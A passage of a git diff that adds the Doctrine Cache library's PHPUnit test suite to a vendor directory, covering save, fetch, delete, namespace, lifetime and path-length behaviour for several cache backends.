->with('[kok][1]', 'vok', 0) + ->will($this->returnValue(true)); + + $cache->saveMultiple(array( + 'kerr' => 'verr', + 'kok' => 'vok', + )); + } +} diff --git a/vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/CacheTest.php b/vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/CacheTest.php new file mode 100644 index 00000000..fb16e639 --- /dev/null +++ b/vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/CacheTest.php @@ -0,0 +1,473 @@ +_getCacheDriver(); + + // Test saving a value, checking if it exists, and fetching it back + $this->assertTrue($cache->save('key', $value)); + $this->assertTrue($cache->contains('key')); + if (is_object($value)) { + $this->assertEquals($value, $cache->fetch('key'), 'Objects retrieved from the cache must be equal but not necessarily the same reference'); + } else { + $this->assertSame($value, $cache->fetch('key'), 'Scalar and array data retrieved from the cache must be the same as the original, e.g. same type'); + } + + // Test deleting a value + $this->assertTrue($cache->delete('key')); + $this->assertFalse($cache->contains('key')); + $this->assertFalse($cache->fetch('key')); + } + + /** + * @dataProvider provideDataToCache + */ + public function testUpdateExistingEntry($value) + { + $cache = $this->_getCacheDriver(); + + $this->assertTrue($cache->save('key', 'old-value')); + $this->assertTrue($cache->contains('key')); + + $this->assertTrue($cache->save('key', $value)); + $this->assertTrue($cache->contains('key')); + if (is_object($value)) { + $this->assertEquals($value, $cache->fetch('key'), 'Objects retrieved from the cache must be equal but not necessarily the same reference'); + } else { + $this->assertSame($value, $cache->fetch('key'), 'Scalar and array data retrieved from the cache must be the same as the original, e.g. same type'); + } + } + + public function testCacheKeyIsCaseSensitive() + { + $cache = $this->_getCacheDriver(); + + $this->assertTrue($cache->save('key', 'value')); + $this->assertTrue($cache->contains('key')); + $this->assertSame('value', $cache->fetch('key')); + + $this->assertFalse($cache->contains('KEY')); + $this->assertFalse($cache->fetch('KEY')); + + $cache->delete('KEY'); + $this->assertTrue($cache->contains('key', 'Deleting cache item with different case must not affect other cache item')); + } + + public function testFetchMultiple() + { + $cache = $this->_getCacheDriver(); + $values = $this->provideDataToCache(); + $saved = array(); + + foreach ($values as $key => $value) { + $cache->save($key, $value[0]); + + $saved[$key] = $value[0]; + } + + $keys = array_keys($saved); + + $this->assertEquals( + $saved, + $cache->fetchMultiple($keys), + 'Testing fetchMultiple with different data types' + ); + $this->assertEquals( + array_slice($saved, 0, 1), + $cache->fetchMultiple(array_slice($keys, 0, 1)), + 'Testing fetchMultiple with a single key' + ); + + $keysWithNonExisting = array(); + $keysWithNonExisting[] = 'non_existing1'; + $keysWithNonExisting[] = $keys[0]; + $keysWithNonExisting[] = 'non_existing2'; + $keysWithNonExisting[] = $keys[1]; + $keysWithNonExisting[] = 'non_existing3'; + + $this->assertEquals( + array_slice($saved, 0, 2), + $cache->fetchMultiple($keysWithNonExisting), + 'Testing fetchMultiple with a subset of keys and mixed with non-existing ones' + ); + } + + public function testFetchMultipleWithNoKeys() + { + $cache = $this->_getCacheDriver(); + + $this->assertSame(array(), $cache->fetchMultiple(array())); + } + + public function testSaveMultiple() + { + $cache = $this->_getCacheDriver(); + $cache->deleteAll(); + + $data = array_map(function ($value) { + return $value[0]; + }, $this->provideDataToCache()); + + $this->assertTrue($cache->saveMultiple($data)); + + $keys = array_keys($data); + + $this->assertEquals($data, $cache->fetchMultiple($keys)); + } + + public function provideDataToCache() + { + $obj = new \stdClass(); + $obj->foo = 'bar'; + $obj2 = new \stdClass(); + $obj2->bar = 'foo'; + $obj2->obj = $obj; + $obj->obj2 = $obj2; + + return array( + 'array' => array(array('one', 2, 3.01)), + 'string' => array('value'), + 'string_invalid_utf8' => array("\xc3\x28"), + 'string_null_byte' => array('with'."\0".'null char'), + 'integer' => array(1), + 'float' => array(1.5), + 'object' => array(new ArrayObject(array('one', 2, 3.01))), + 'object_recursive' => array($obj), + 'true' => array(true), + // the following are considered FALSE in boolean context, but caches should still recognize their existence + 'null' => array(null), + 'false' => array(false), + 'array_empty' => array(array()), + 'string_zero' => array('0'), + 'integer_zero' => array(0), + 'float_zero' => array(0.0), + 'string_empty' => array(''), + ); + } + + public function testDeleteIsSuccessfulWhenKeyDoesNotExist() + { + $cache = $this->_getCacheDriver(); + + $cache->delete('key'); + $this->assertFalse($cache->contains('key')); + $this->assertTrue($cache->delete('key')); + } + + public function testDeleteAll() + { + $cache = $this->_getCacheDriver(); + + $this->assertTrue($cache->save('key1', 1)); + $this->assertTrue($cache->save('key2', 2)); + $this->assertTrue($cache->deleteAll()); + $this->assertFalse($cache->contains('key1')); + $this->assertFalse($cache->contains('key2')); + } + + /** + * @dataProvider provideCacheIds + */ + public function testCanHandleSpecialCacheIds($id) + { + $cache = $this->_getCacheDriver(); + + $this->assertTrue($cache->save($id, 'value')); + $this->assertTrue($cache->contains($id)); + $this->assertEquals('value', $cache->fetch($id)); + + $this->assertTrue($cache->delete($id)); + $this->assertFalse($cache->contains($id)); + $this->assertFalse($cache->fetch($id)); + } + + public function testNoCacheIdCollisions() + { + $cache = $this->_getCacheDriver(); + + $ids = $this->provideCacheIds(); + + // fill cache with each id having a different value + foreach ($ids as $index => $id) { + $cache->save($id[0], $index); + } + + // then check value of each cache id + foreach ($ids as $index => $id) { + $value = $cache->fetch($id[0]); + $this->assertNotFalse($value, sprintf('Failed to retrieve data for cache id "%s".', $id[0])); + if ($index !== $value) { + $this->fail(sprintf('Cache id "%s" collides with id "%s".', $id[0], $ids[$value][0])); + } + } + } + + /** + * Returns cache ids with special characters that should still work. + * + * For example, the characters :\/<>"*?| are not valid in Windows filenames. So they must be encoded properly. + * Each cache id should be considered different from the others. + * + * @return array + */ + public function provideCacheIds() + { + return array( + array(':'), + array('\\'), + array('/'), + array('<'), + array('>'), + array('"'), + array('*'), + array('?'), + array('|'), + array('['), + array(']'), + array('ä'), + array('a'), + array('é'), + array('e'), + array('.'), // directory traversal + array('..'), // directory traversal + array('-'), + array('_'), + array('$'), + array('%'), + array(' '), + array("\0"), + array(''), + array(str_repeat('a', 300)), // long key + array(str_repeat('a', 113)), + ); + } + + public function testLifetime() + { + $cache = $this->_getCacheDriver(); + $cache->save('expire', 'value', 1); + $this->assertTrue($cache->contains('expire'), 'Data should not be expired yet'); + // @TODO should more TTL-based tests pop up, so then we should mock the `time` API instead + sleep(2); + $this->assertFalse($cache->contains('expire'), 'Data should be expired'); + } + + public function testNoExpire() + { + $cache = $this->_getCacheDriver(); + $cache->save('noexpire', 'value', 0); + // @TODO should more TTL-based tests pop up, so then we should mock the `time` API instead + sleep(1); + $this->assertTrue($cache->contains('noexpire'), 'Data with lifetime of zero should not expire'); + } + + public function testLongLifetime() + { + $cache = $this->_getCacheDriver(); + $cache->save('longlifetime', 'value', 30 * 24 * 3600 + 1); + $this->assertTrue($cache->contains('longlifetime'), 'Data with lifetime > 30 days should be accepted'); + } + + public function testDeleteAllAndNamespaceVersioningBetweenCaches() + { + if ( ! $this->isSharedStorage()) { + $this->markTestSkipped('The cache storage needs to be shared.'); + } + + $cache1 = $this->_getCacheDriver(); + $cache2 = $this->_getCacheDriver(); + + $this->assertTrue($cache1->save('key1', 1)); + $this->assertTrue($cache2->save('key2', 2)); + + /* Both providers are initialized with the same namespace version, so + * they can see entries set by each other. + */ + $this->assertTrue($cache1->contains('key1')); + $this->assertTrue($cache1->contains('key2')); + $this->assertTrue($cache2->contains('key1')); + $this->assertTrue($cache2->contains('key2')); + + /* Deleting all entries through one provider will only increment the + * namespace version on that object (and in the cache itself, which new + * instances will use to initialize). The second provider will retain + * its original version and still see stale data. + */ + $this->assertTrue($cache1->deleteAll()); + $this->assertFalse($cache1->contains('key1')); + $this->assertFalse($cache1->contains('key2')); + $this->assertTrue($cache2->contains('key1')); + $this->assertTrue($cache2->contains('key2')); + + /* A new cache provider should not see the deleted entries, since its + * namespace version will be initialized. + */ + $cache3 = $this->_getCacheDriver(); + $this->assertFalse($cache3->contains('key1')); + $this->assertFalse($cache3->contains('key2')); + } + + public function testFlushAll() + { + $cache = $this->_getCacheDriver(); + + $this->assertTrue($cache->save('key1', 1)); + $this->assertTrue($cache->save('key2', 2)); + $this->assertTrue($cache->flushAll()); + $this->assertFalse($cache->contains('key1')); + $this->assertFalse($cache->contains('key2')); + } + + public function testFlushAllAndNamespaceVersioningBetweenCaches() + { + if ( ! $this->isSharedStorage()) { + $this->markTestSkipped('The cache storage needs to be shared.'); + } + + $cache1 = $this->_getCacheDriver(); + $cache2 = $this->_getCacheDriver(); + + /* Deleting all elements from the first provider should increment its + * namespace version before saving the first entry. + */ + $cache1->deleteAll(); + $this->assertTrue($cache1->save('key1', 1)); + + /* The second provider will be initialized with the same namespace + * version upon its first save operation. + */ + $this->assertTrue($cache2->save('key2', 2)); + + /* Both providers have the same namespace version and can see entries + * set by each other. + */ + $this->assertTrue($cache1->contains('key1')); + $this->assertTrue($cache1->contains('key2')); + $this->assertTrue($cache2->contains('key1')); + $this->assertTrue($cache2->contains('key2')); + + /* Flushing all entries through one cache will remove all entries from + * the cache but leave their namespace version as-is. + */ + $this->assertTrue($cache1->flushAll()); + $this->assertFalse($cache1->contains('key1')); + $this->assertFalse($cache1->contains('key2')); + $this->assertFalse($cache2->contains('key1')); + $this->assertFalse($cache2->contains('key2')); + + /* Inserting a new entry will use the same, incremented namespace + * version, and it will be visible to both providers. + */ + $this->assertTrue($cache1->save('key1', 1)); + $this->assertTrue($cache1->contains('key1')); + $this->assertTrue($cache2->contains('key1')); + + /* A new cache provider will be initialized with the original namespace + * version and not share any visibility with the first two providers. + */ + $cache3 = $this->_getCacheDriver(); + $this->assertFalse($cache3->contains('key1')); + $this->assertFalse($cache3->contains('key2')); + $this->assertTrue($cache3->save('key3', 3)); + $this->assertTrue($cache3->contains('key3')); + } + + public function testNamespace() + { + $cache = $this->_getCacheDriver(); + + $cache->setNamespace('ns1_'); + + $this->assertTrue($cache->save('key1', 1)); + $this->assertTrue($cache->contains('key1')); + + $cache->setNamespace('ns2_'); + + $this->assertFalse($cache->contains('key1')); + } + + public function testDeleteAllNamespace() + { + $cache = $this->_getCacheDriver(); + + $cache->setNamespace('ns1'); + $this->assertFalse($cache->contains('key1')); + $cache->save('key1', 'test'); + $this->assertTrue($cache->contains('key1')); + + $cache->setNamespace('ns2'); + $this->assertFalse($cache->contains('key1')); + $cache->save('key1', 'test'); + $this->assertTrue($cache->contains('key1')); + + $cache->setNamespace('ns1'); + $this->assertTrue($cache->contains('key1')); + $cache->deleteAll(); + $this->assertFalse($cache->contains('key1')); + + $cache->setNamespace('ns2'); + $this->assertTrue($cache->contains('key1')); + $cache->deleteAll(); + $this->assertFalse($cache->contains('key1')); + } + + /** + * @group DCOM-43 + */ + public function testGetStats() + { + $cache = $this->_getCacheDriver(); + $stats = $cache->getStats(); + + $this->assertArrayHasKey(Cache::STATS_HITS, $stats); + $this->assertArrayHasKey(Cache::STATS_MISSES, $stats); + $this->assertArrayHasKey(Cache::STATS_UPTIME, $stats); + $this->assertArrayHasKey(Cache::STATS_MEMORY_USAGE, $stats); + $this->assertArrayHasKey(Cache::STATS_MEMORY_AVAILABLE, $stats); + } + + public function testSaveReturnsTrueWithAndWithoutTTlSet() + { + $cache = $this->_getCacheDriver(); + $cache->deleteAll(); + $this->assertTrue($cache->save('without_ttl', 'without_ttl')); + $this->assertTrue($cache->save('with_ttl', 'with_ttl', 3600)); + } + + public function testValueThatIsFalseBooleanIsProperlyRetrieved() + { + $cache = $this->_getCacheDriver(); + $cache->deleteAll(); + + $this->assertTrue($cache->save('key1', false)); + $this->assertTrue($cache->contains('key1')); + $this->assertFalse($cache->fetch('key1')); + } + + /** + * Return whether multiple cache providers share the same storage. + * + * This is used for skipping certain tests for shared storage behavior. + * + * @return bool + */ + protected function isSharedStorage() + { + return true; + } + + /** + * @return \Doctrine\Common\Cache\CacheProvider + */ + abstract protected function _getCacheDriver(); +} diff --git a/vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/ChainCacheTest.php b/vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/ChainCacheTest.php new file mode 100644 index 00000000..a3c013b8 --- /dev/null +++ b/vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/ChainCacheTest.php @@ -0,0 +1,99 @@ +markTestSkipped('The ChainCache test uses ArrayCache which does not implement TTL currently.'); + } + + public function testGetStats() + { + $cache = $this->_getCacheDriver(); + $stats = $cache->getStats(); + + $this->assertInternalType('array', $stats); + } + + public function testOnlyFetchFirstOne() + { + $cache1 = new ArrayCache(); + $cache2 = $this->getMockForAbstractClass('Doctrine\Common\Cache\CacheProvider'); + + $cache2->expects($this->never())->method('doFetch'); + + $chainCache = new ChainCache(array($cache1, $cache2)); + $chainCache->save('id', 'bar'); + + $this->assertEquals('bar', $chainCache->fetch('id')); + } + + public function testFetchPropagateToFastestCache() + { + $cache1 = new ArrayCache(); + $cache2 = new ArrayCache(); + + $cache2->save('bar', 'value'); + + $chainCache = new ChainCache(array($cache1, $cache2)); + + $this->assertFalse($cache1->contains('bar')); + + $result = $chainCache->fetch('bar'); + + $this->assertEquals('value', $result); + $this->assertTrue($cache2->contains('bar')); + } + + public function testNamespaceIsPropagatedToAllProviders() + { + $cache1 = new ArrayCache(); + $cache2 = new ArrayCache(); + + $chainCache = new ChainCache(array($cache1, $cache2)); + $chainCache->setNamespace('bar'); + + $this->assertEquals('bar', $cache1->getNamespace()); + $this->assertEquals('bar', $cache2->getNamespace()); + } + + public function testDeleteToAllProviders() + { + $cache1 = $this->getMockForAbstractClass('Doctrine\Common\Cache\CacheProvider'); + $cache2 = $this->getMockForAbstractClass('Doctrine\Common\Cache\CacheProvider'); + + $cache1->expects($this->once())->method('doDelete'); + $cache2->expects($this->once())->method('doDelete'); + + $chainCache = new ChainCache(array($cache1, $cache2)); + $chainCache->delete('bar'); + } + + public function testFlushToAllProviders() + { + $cache1 = $this->getMockForAbstractClass('Doctrine\Common\Cache\CacheProvider'); + $cache2 = $this->getMockForAbstractClass('Doctrine\Common\Cache\CacheProvider'); + + $cache1->expects($this->once())->method('doFlush'); + $cache2->expects($this->once())->method('doFlush'); + + $chainCache = new ChainCache(array($cache1, $cache2)); + $chainCache->flushAll(); + } + + protected function isSharedStorage() + { + return false; + } +} \ No newline at end of file diff --git a/vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/CouchbaseCacheTest.php b/vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/CouchbaseCacheTest.php new file mode 100644 index 00000000..f42b3a7f --- /dev/null +++ b/vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/CouchbaseCacheTest.php @@ -0,0 +1,30 @@ +couchbase = new Couchbase('127.0.0.1', 'Administrator', 'password', 'default'); + } catch(Exception $ex) { + $this->markTestSkipped('Could not instantiate the Couchbase cache because of: ' . $ex); + } + } + + protected function _getCacheDriver() + { + $driver = new CouchbaseCache(); + $driver->setCouchbase($this->couchbase); + return $driver; + } +} \ No newline at end of file diff --git a/vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/FileCacheTest.php b/vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/FileCacheTest.php new file mode 100644 index 00000000..f27d5428 --- /dev/null +++ b/vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/FileCacheTest.php @@ -0,0 +1,268 @@ +driver = $this->getMock( + 'Doctrine\Common\Cache\FileCache', + array('doFetch', 'doContains', 'doSave'), + array(), '', false + ); + } + + public function testFilenameShouldCreateThePathWithOneSubDirectory() + { + $cache = $this->driver; + $method = new \ReflectionMethod($cache, 'getFilename'); + $key = 'item-key'; + $expectedDir = array( + '84', + ); + $expectedDir = implode(DIRECTORY_SEPARATOR, $expectedDir); + + $method->setAccessible(true); + + $path = $method->invoke($cache, $key); + $dirname = pathinfo($path, PATHINFO_DIRNAME); + + $this->assertEquals(DIRECTORY_SEPARATOR . $expectedDir, $dirname); + } + + public function testFileExtensionCorrectlyEscaped() + { + $driver1 = $this->getMock( + 'Doctrine\Common\Cache\FileCache', + array('doFetch', 'doContains', 'doSave'), + array(__DIR__, '.*') + ); + $driver2 = $this->getMock( + 'Doctrine\Common\Cache\FileCache', + array('doFetch', 'doContains', 'doSave'), + array(__DIR__, '.php') + ); + + $doGetStats = new \ReflectionMethod($driver1, 'doGetStats'); + + $doGetStats->setAccessible(true); + + $stats1 = $doGetStats->invoke($driver1); + $stats2 = $doGetStats->invoke($driver2); + + $this->assertSame(0, $stats1[Cache::STATS_MEMORY_USAGE]); + $this->assertGreaterThan(0, $stats2[Cache::STATS_MEMORY_USAGE]); + } + + /** + * @group DCOM-266 + */ + public function testFileExtensionSlashCorrectlyEscaped() + { + $driver = $this->getMock( + 'Doctrine\Common\Cache\FileCache', + array('doFetch', 'doContains', 'doSave'), + array(__DIR__ . '/../', DIRECTORY_SEPARATOR . basename(__FILE__)) + ); + + $doGetStats = new \ReflectionMethod($driver, 'doGetStats'); + + $doGetStats->setAccessible(true); + + $stats = $doGetStats->invoke($driver); + + $this->assertGreaterThan(0, $stats[Cache::STATS_MEMORY_USAGE]); + } + + public function testNonIntUmaskThrowsInvalidArgumentException() + { + $this->setExpectedException('InvalidArgumentException'); + + $this->getMock( + 'Doctrine\Common\Cache\FileCache', + array('doFetch', 'doContains', 'doSave'), + array('', '', 'invalid') + ); + } + + public function testGetDirectoryReturnsRealpathDirectoryString() + { + $directory = __DIR__ . '/../'; + $driver = $this->getMock( + 'Doctrine\Common\Cache\FileCache', + array('doFetch', 'doContains', 'doSave'), + array($directory) + ); + + $doGetDirectory = new \ReflectionMethod($driver, 'getDirectory'); + + $actualDirectory = $doGetDirectory->invoke($driver); + $expectedDirectory = realpath($directory); + + $this->assertEquals($expectedDirectory, $actualDirectory); + } + + public function testGetExtensionReturnsExtensionString() + { + $directory = __DIR__ . '/../'; + $extension = DIRECTORY_SEPARATOR . basename(__FILE__); + $driver = $this->getMock( + 'Doctrine\Common\Cache\FileCache', + array('doFetch', 'doContains', 'doSave'), + array($directory, $extension) + ); + + $doGetExtension = new \ReflectionMethod($driver, 'getExtension'); + + $actualExtension = $doGetExtension->invoke($driver); + + $this->assertEquals($extension, $actualExtension); + } + + const WIN_MAX_PATH_LEN = 258; + + public static function getBasePathForWindowsPathLengthTests($pathLength) + { + // Not using __DIR__ because it can get screwed up when xdebug debugger is attached. + $basePath = realpath(sys_get_temp_dir()) . '/' . uniqid('doctrine-cache', true); + + /** @noinspection MkdirRaceConditionInspection */ + @mkdir($basePath); + + $basePath = realpath($basePath); + + // Test whether the desired path length is odd or even. + $desiredPathLengthIsOdd = ($pathLength % 2) == 1; + + // If the cache key is not too long, the filecache codepath will add + // a slash and bin2hex($key). The length of the added portion will be an odd number. + // len(desired) = len(base path) + len(slash . bin2hex($key)) + // odd = even + odd + // even = odd + odd + $basePathLengthShouldBeOdd = !$desiredPathLengthIsOdd; + + $basePathLengthIsOdd = (strlen($basePath) % 2) == 1; + + // If the base path needs to be odd or even where it is not, we add an odd number of + // characters as a pad. In this case, we're adding '\aa' (or '/aa' depending on platform) + // This is all to make it so that the key we're testing would result in + // a path that is exactly the length we want to test IF the path length limit + // were not in place in FileCache. + if ($basePathLengthIsOdd != $basePathLengthShouldBeOdd) { + $basePath .= DIRECTORY_SEPARATOR . "aa"; + } + + return $basePath; + } + + /** + * @param int $length + * @param string $basePath + * + * @return array + */ + public static function getKeyAndPathFittingLength($length, $basePath) + { + $baseDirLength = strlen($basePath); + $extensionLength = strlen('.doctrine.cache'); + $directoryLength = strlen(DIRECTORY_SEPARATOR . 'aa' . DIRECTORY_SEPARATOR); + $keyLength = $length - ($baseDirLength + $extensionLength + $directoryLength); // - 1 because of slash + + $key = str_repeat('a', floor($keyLength / 2)); + + $keyHash = hash('sha256', $key); + + $keyPath = $basePath + . DIRECTORY_SEPARATOR + . substr($keyHash, 0, 2) + . DIRECTORY_SEPARATOR + . bin2hex($key) + . '.doctrine.cache'; + + $hashedKeyPath = $basePath + . DIRECTORY_SEPARATOR + . substr($keyHash, 0, 2) + . DIRECTORY_SEPARATOR + . '_' . $keyHash + . '.doctrine.cache'; + + return array($key, $keyPath, $hashedKeyPath); + } + + public function getPathLengthsToTest() + { + // Windows officially supports 260 bytes including null terminator + // 259 characters is too large due to PHP bug (https://bugs.php.net/bug.php?id=70943) + // 260 characters is too large - null terminator is included in allowable length + return array( + array(257, false), + array(258, false), + array(259, true), + array(260, true) + ); + } + + /** + * @runInSeparateProcess + * @dataProvider getPathLengthsToTest + * + * @covers \Doctrine\Common\Cache\FileCache::getFilename + * + * @param int $length + * @param bool $pathShouldBeHashed + */ + public function testWindowsPathLengthLimitationsAreCorrectlyRespected($length, $pathShouldBeHashed) + { + if (! defined('PHP_WINDOWS_VERSION_BUILD')) { + define('PHP_WINDOWS_VERSION_BUILD', 'Yes, this is the "usual suspect", with the usual limitations'); + } + + $basePath = self::getBasePathForWindowsPathLengthTests($length); + + $fileCache = $this->getMockForAbstractClass( + 'Doctrine\Common\Cache\FileCache', + array($basePath, '.doctrine.cache') + ); + + list($key, $keyPath, $hashedKeyPath) = self::getKeyAndPathFittingLength($length, $basePath); + + $getFileName = new \ReflectionMethod($fileCache, 'getFilename'); + + $getFileName->setAccessible(true); + + $this->assertEquals( + $length, + strlen($keyPath), + sprintf('Path expected to be %d characters long is %d characters long', $length, strlen($keyPath)) + ); + + if ($pathShouldBeHashed) { + $keyPath = $hashedKeyPath; + } + + if ($pathShouldBeHashed) { + $this->assertSame( + $hashedKeyPath, + $getFileName->invoke($fileCache, $key), + 'Keys should be hashed correctly if they are over the limit.' + ); + } else { + $this->assertSame( + $keyPath, + $getFileName->invoke($fileCache, $key), + 'Keys below limit of the allowed length are used directly, unhashed' + ); + } + } +} diff --git a/vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/FilesystemCacheTest.php b/vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/FilesystemCacheTest.php new file mode 100644 index 00000000..9e7c9e81 --- /dev/null +++ b/vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/FilesystemCacheTest.php @@ -0,0 +1,61 @@ +_getCacheDriver(); + $stats = $cache->getStats(); + + $this->assertNull($stats[Cache::STATS_HITS]); + $this->assertNull($stats[Cache::STATS_MISSES]); + $this->assertNull($stats[Cache::STATS_UPTIME]); + $this->assertEquals(0, $stats[Cache::STATS_MEMORY_USAGE]); + $this->assertGreaterThan(0, $stats[Cache::STATS_MEMORY_AVAILABLE]); + } + + public function testCacheInSharedDirectoryIsPerExtension() + { + $cache1 = new FilesystemCache($this->directory, '.foo'); + $cache2 = new FilesystemCache($this->directory, '.bar'); + + $this->assertTrue($cache1->save('key1', 11)); + $this->assertTrue($cache1->save('key2', 12)); + + $this->assertTrue($cache2->save('key1', 21)); + $this->assertTrue($cache2->save('key2', 22)); + + $this->assertSame(11, $cache1->fetch('key1'), 'Cache value must not be influenced by a different cache in the same directory but different extension'); + $this->assertSame(12, $cache1->fetch('key2')); + $this->assertTrue($cache1->flushAll()); + $this->assertFalse($cache1->fetch('key1'), 'flushAll() must delete all items with the current extension'); + $this->assertFalse($cache1->fetch('key2')); + + $this->assertSame(21, $cache2->fetch('key1'), 'flushAll() must not remove items with a different extension in a shared directory'); + $this->assertSame(22, $cache2->fetch('key2')); + } + + public function testFlushAllWithNoExtension() + { + $cache = new FilesystemCache($this->directory, ''); + + $this->assertTrue($cache->save('key1', 1)); + $this->assertTrue($cache->save('key2', 2)); + $this->assertTrue($cache->flushAll()); + $this->assertFalse($cache->contains('key1')); + $this->assertFalse($cache->contains('key2')); + } + + protected function _getCacheDriver() + { + return new FilesystemCache($this->directory); + } +} diff --git a/vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/MemcacheCacheTest.php b/vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/MemcacheCacheTest.php new file mode 100644 index 00000000..74853b84 --- /dev/null +++ b/vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/MemcacheCacheTest.php @@ -0,0 +1,59 @@ +memcache = new Memcache(); + + if (@$this->memcache->connect('localhost', 11211) === false) { + unset($this->memcache); + $this->markTestSkipped('Cannot connect to Memcache.'); + } + } + + protected function tearDown() + { + if ($this->memcache instanceof Memcache) { + $this->memcache->flush(); + } + } + + /** + * {@inheritdoc} + * + * Memcache does not support " " and null byte as key so we remove them from the tests. + */ + public function provideCacheIds() + { + $ids = parent::provideCacheIds(); + unset($ids[21], $ids[22]); + + return $ids; + } + + public function testGetMemcacheReturnsInstanceOfMemcache() + { + $this->assertInstanceOf('Memcache', $this->_getCacheDriver()->getMemcache()); + } + + /** + * {@inheritDoc} + */ + protected function _getCacheDriver() + { + $driver = new MemcacheCache(); + $driver->setMemcache($this->memcache); + return $driver; + } +} diff --git a/vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/MemcachedCacheTest.php b/vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/MemcachedCacheTest.php new file mode 100644 index 00000000..fbcf5c38 --- /dev/null +++ b/vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/MemcachedCacheTest.php @@ -0,0 +1,61 @@ +memcached = new Memcached(); + $this->memcached->setOption(Memcached::OPT_COMPRESSION, false); + $this->memcached->addServer('127.0.0.1', 11211); + + if (@fsockopen('127.0.0.1', 11211) === false) { + unset($this->memcached); + $this->markTestSkipped('Cannot connect to Memcached.'); + } + } + + protected function tearDown() + { + if ($this->memcached instanceof Memcached) { + $this->memcached->flush(); + } + } + + /** + * {@inheritdoc} + * + * Memcached does not support " ", null byte and very long keys so we remove them from the tests. + */ + public function provideCacheIds() + { + $ids = parent::provideCacheIds(); + unset($ids[21], $ids[22], $ids[24]); + + return $ids; + } + + public function testGetMemcachedReturnsInstanceOfMemcached() + { + $this->assertInstanceOf('Memcached', $this->_getCacheDriver()->getMemcached()); + } + + /** + * {@inheritDoc} + */ + protected function _getCacheDriver() + { + $driver = new MemcachedCache(); + $driver->setMemcached($this->memcached); + return $driver; + } +} diff --git a/vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/MongoDBCacheTest.php b/vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/MongoDBCacheTest.php new file mode 100644 index 00000000..fa7cfacd --- /dev/null +++ b/vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/MongoDBCacheTest.php @@ -0,0 +1,68 @@ +=')) { + $this->markTestSkipped('Mongo >= 1.3.0 is required.'); + } + + $mongo = new MongoClient(); + $this->collection = $mongo->selectCollection('doctrine_common_cache', 'test'); + } + + protected function tearDown() + { + if ($this->collection instanceof MongoCollection) { + $this->collection->drop(); + } + } + + public function testGetStats() + { + $cache = $this->_getCacheDriver(); + $stats = $cache->getStats(); + + $this->assertNull($stats[Cache::STATS_HITS]); + $this->assertNull($stats[Cache::STATS_MISSES]); + $this->assertGreaterThan(0, $stats[Cache::STATS_UPTIME]); + $this->assertEquals(0, $stats[Cache::STATS_MEMORY_USAGE]); + $this->assertNull($stats[Cache::STATS_MEMORY_AVAILABLE]); + } + + /** + * @group 108 + */ + public function testMongoCursorExceptionsDoNotBubbleUp() + { + /* @var $collection \MongoCollection|\PHPUnit_Framework_MockObject_MockObject */ + $collection = $this->getMock('MongoCollection', array(), array(), '', false); + + $collection->expects(self::once())->method('update')->willThrowException(new \MongoCursorException()); + + $cache = new MongoDBCache($collection); + + self::assertFalse($cache->save('foo', 'bar')); + } + + protected function _getCacheDriver() + { + return new MongoDBCache($this->collection); + } +} diff --git a/vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/PhpFileCacheTest.php b/vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/PhpFileCacheTest.php new file mode 100644 index 00000000..d1851cb3 --- /dev/null +++ b/vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/PhpFileCacheTest.php @@ -0,0 +1,98 @@ +_getCacheDriver(); + + // Test save + $cache->save('test_set_state', new SetStateClass(array(1,2,3))); + + //Test __set_state call + $this->assertCount(0, SetStateClass::$values); + + // Test fetch + $value = $cache->fetch('test_set_state'); + $this->assertInstanceOf('Doctrine\Tests\Common\Cache\SetStateClass', $value); + $this->assertEquals(array(1,2,3), $value->getValue()); + + //Test __set_state call + $this->assertCount(1, SetStateClass::$values); + + // Test contains + $this->assertTrue($cache->contains('test_set_state')); + } + + public function testNotImplementsSetState() + { + $cache = $this->_getCacheDriver(); + + $this->setExpectedException('InvalidArgumentException'); + $cache->save('test_not_set_state', new NotSetStateClass(array(1,2,3))); + } + + public function testGetStats() + { + $cache = $this->_getCacheDriver(); + $stats = $cache->getStats(); + + $this->assertNull($stats[Cache::STATS_HITS]); + $this->assertNull($stats[Cache::STATS_MISSES]); + $this->assertNull($stats[Cache::STATS_UPTIME]); + $this->assertEquals(0, $stats[Cache::STATS_MEMORY_USAGE]); + $this->assertGreaterThan(0, $stats[Cache::STATS_MEMORY_AVAILABLE]); + } + + protected function _getCacheDriver() + { + return new PhpFileCache($this->directory); + } +} + +class NotSetStateClass +{ + private $value; + + public function __construct($value) + { + $this->value = $value; + } + + public function getValue() + { + return $this->value; + } +} + +class SetStateClass extends NotSetStateClass +{ + public static $values = array(); + + public static function __set_state($data) + { + self::$values = $data; + return new self($data['value']); + } +} diff --git a/vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/PredisCacheTest.php b/vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/PredisCacheTest.php new file mode 100644 index 00000000..e20839dc --- /dev/null +++ b/vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/PredisCacheTest.php @@ -0,0 +1,87 @@ +markTestSkipped('Predis\Client is missing. Make sure to "composer install" to have all dev dependencies.'); + } + + $this->client = new Client(); + + try { + $this->client->connect(); + } catch (ConnectionException $e) 